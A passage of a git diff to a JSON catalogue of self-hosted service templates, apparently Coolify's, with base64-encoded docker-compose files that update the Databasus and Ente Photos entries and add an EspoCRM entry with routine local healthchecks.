wogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "file sharing", "cloud storage", @@ -818,7 +801,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "postgres", "mysql", @@ -1173,7 +1156,7 @@ "ente-photos": { "documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io", "slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.", - "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfUEhPVE9TX09SSUdJTj0ke1NFUlZJQ0VfVVJMX1dFQn0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "photos", "gallery", @@ -1204,6 +1187,23 @@ "minversion": "0.0.0", "port": "6052" }, + "espocrm": { + "documentation": "https://docs.espocrm.com?utm_source=coolify.io", + "slogan": "EspoCRM is a free and open-source CRM platform.", + "compose": "c2VydmljZXM6CiAgZXNwb2NybToKICAgIGltYWdlOiAnZXNwb2NybS9lc3BvY3JtOjknCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9FU1BPQ1JNCiAgICAgIC0gJ0VTUE9DUk1fQURNSU5fVVNFUk5BTUU9JHtFU1BPQ1JNX0FETUlOX1VTRVJOQU1FOi1hZG1pbn0nCiAgICAgIC0gJ0VTUE9DUk1fQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSBFU1BPQ1JNX0RBVEFCQVNFX1BMQVRGT1JNPU15c3FsCiAgICAgIC0gRVNQT0NSTV9EQVRBQkFTRV9IT1NUPWVzcG9jcm0tZGIKICAgICAgLSAnRVNQT0NSTV9EQVRBQkFTRV9OQU1FPSR7TUFSSUFEQl9EQVRBQkFTRTotZXNwb2NybX0nCiAgICAgIC0gJ0VTUE9DUk1fREFUQUJBU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NQVJJQURCfScKICAgICAgLSAnRVNQT0NSTV9EQVRBQkFTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQn0nCiAgICAgIC0gJ0VTUE9DUk1fU0lURV9VUkw9JHtTRVJWSUNFX1VSTF9FU1BPQ1JNfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VzcG9jcm06L3Zhci93d3cvaHRtbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHN0YXJ0X3BlcmlvZDogNjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogICAgZGVwZW5kc19vbjoKICAgICAgZXNwb2NybS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGVzcG9jcm0tZGFlbW9uOgogICAgaW1hZ2U6ICdlc3BvY3JtL2VzcG9jcm06OScKICAgIGNvbnRhaW5lcl9uYW1lOiBlc3BvY3JtLWRhZW1vbgogICAgdm9sdW1lczoKICAgICAgLSAnZXNwb2NybTovdmFyL3d3dy9odG1sJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnRyeXBvaW50OiBkb2NrZXItZGFlbW9uLnNoCiAgICBkZXBlbmRzX29uOgogICAgICBlc3BvY3JtOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgZXNwb2NybS13ZWJzb2NrZXQ6CiAgICBpbWFnZTogJ2VzcG9jcm0vZXNwb2NybTo5JwogICAgY29udGFpbmVyX25hbWU6IGVzcG9jcm0td2Vic29ja2V0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9FU1BPQ1JNX1dFQlNPQ0tFVF84MDgwCiAgICAgIC0gRVNQT0NSTV9DT05GSUdfVVNFX1dFQl9TT0NLRVQ9dHJ1ZQogICAgICAtIEVTUE9DUk1fQ09ORklHX1dFQl9TT0NLRVRfVVJMPSRTRVJWSUNFX1VSTF9FU1BPQ1JNX1dFQlNPQ0tFVAogICAgICAtICdFU1BPQ1JNX0NPTkZJR19XRUJfU09DS0VUX1pFUk9fTV9RX1NVQlNDUklCRVJfRFNOPXRjcDovLyo6Nzc3NycKICAgICAgLSAnRVNQT0NSTV9DT05GSUdfV0VCX1NPQ0tFVF9aRVJPX01fUV9TVUJNSVNTSU9OX0RTTj10Y3A6Ly9lc3BvY3JtLXdlYnNvY2tldDo3Nzc3JwogICAgdm9sdW1lczoKICAgICAgLSAnZXNwb2NybTovdmFyL3d3dy9odG1sJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnRyeXBvaW50OiBkb2NrZXItd2Vic29ja2V0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBlc3BvY3JtOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgZXNwb2NybS1kYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01BUklBREJfREFUQUJBU0U9JHtNQVJJQURCX0RBVEFCQVNFOi1lc3BvY3JtfScKICAgICAgLSAnTUFSSUFEQl9VU0VSPSR7U0VSVklDRV9VU0VSX01BUklBREJ9JwogICAgICAtICdNQVJJQURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NQVJJQURCfScKICAgICAgLSAnTUFSSUFEQl9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VzcG9jcm0tZGI6L3Zhci9saWIvbXlzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiAyMHMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK", + "tags": [ + "crm", + "self-hosted", + "open-source", + "workflow", + "automation", + "project management" + ], + "category": "cms", + "logo": "svgs/espocrm.svg", + "minversion": "0.0.0", + "port": "80" + }, "evolution-api": { "documentation": "https://doc.evolution-api.com/v2/en/get-started/introduction?utm_source=coolify.io", "slogan": "Multi-platform messaging (whatsapp and more) integration API", @@ -1891,7 +1891,7 @@ "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", - "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF80NDMKICAgICAgLSAnQVBQX0hPTUVfVVJMPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdHUklTVF9TVVBQT1JUX0FOT049JHtTVVBQT1JUX0FOT046LWZhbHNlfScKICAgICAgLSAnR1JJU1RfRk9SQ0VfTE9HSU49JHtGT1JDRV9MT0dJTjotdHJ1ZX0nCiAgICAgIC0gJ0NPT0tJRV9NQVhfQUdFPSR7Q09PS0lFX01BWF9BR0U6LTg2NDAwMDAwfScKICAgICAgLSAnR1JJU1RfUEFHRV9USVRMRV9TVUZGSVg9JHtQQUdFX1RJVExFX1NVRkZJWDotIC0gU3VmZml4fScKICAgICAgLSAnR1JJU1RfSElERV9VSV9FTEVNRU5UUz0ke0hJREVfVUlfRUxFTUVOVFM6LWJpbGxpbmcsc2VuZFRvRHJpdmUsc3VwcG9ydEdyaXN0LG11bHRpQWNjb3VudHMsdHV0b3JpYWxzfScKICAgICAgLSAnR1JJU1RfVUlfRkVBVFVSRVM9JHtVSV9GRUFUVVJFUzotaGVscENlbnRlcixiaWxsaW5nLHRlbXBsYXRlcyxjcmVhdGVTaXRlLG11bHRpU2l0ZSxzZW5kVG9Ecml2ZSx0dXRvcmlhbHMsc3VwcG9ydEdyaXN0fScKICAgICAgLSAnR1JJU1RfREVGQVVMVF9FTUFJTD0ke0RFRkFVTFRfRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdHUklTVF9PUkdfSU5fUEFUSD0ke09SR19JTl9QQVRIOi10cnVlfScKICAgICAgLSAnR1JJU1RfT0lEQ19TUF9IT1NUPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1R9JwogICAg